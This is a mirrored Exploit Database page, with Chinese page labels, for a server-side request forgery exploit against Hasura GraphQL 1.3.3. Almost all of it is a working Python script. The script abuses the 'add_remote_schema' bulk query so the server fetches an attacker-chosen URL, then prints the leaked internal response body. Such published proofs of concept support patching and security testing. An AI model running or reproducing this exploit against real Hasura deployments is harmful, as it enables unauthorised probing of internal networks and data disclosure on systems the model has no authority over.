Hasura GraphQL 1.3.3 – Service Side Request Forgery (SSRF)

• Exploit Database
• 135 阅读

• 作者： Dolev Farhi
  日期： 2021-04-21
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/49791/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56

  # Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF) # Software: Hasura GraphQL # Software Link: https://github.com/hasura/graphql-engine # Version: 1.3.3 # Exploit Author: Dolev Farhi # Date: 4/19/2021 # Tested on: Ubuntu   import requests   HASURA_SCHEME = 'http' HASURA_HOST = '192.168.1.1' HASURA_PORT = 80   REMOTE_URL = 'http://some_remote_addr'   def SSRF(url): data = { "type":"bulk", "args":[ { "type":"add_remote_schema", "args":{ "name":"test", "definition":{ "url":url, "headers":[], "timeout_seconds":60, "forward_client_headers":True } } } ] } endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT) r = requests.post(endpoint, json=data) return r.json()   res = SSRF(REMOTE_URL)   message = '' raw_body = ''   try: if 'message' in res['internal']: message = res['internal'].get('message', '') if 'raw_body' in res['internal']: raw_body = res['internal'].get('raw_body', '') except: pass   print('Remote URL: ' + REMOTE_URL) print('Message: ' + message) print('HTTP Raw Body: ' + raw_body) print('Error: ' + res['error'])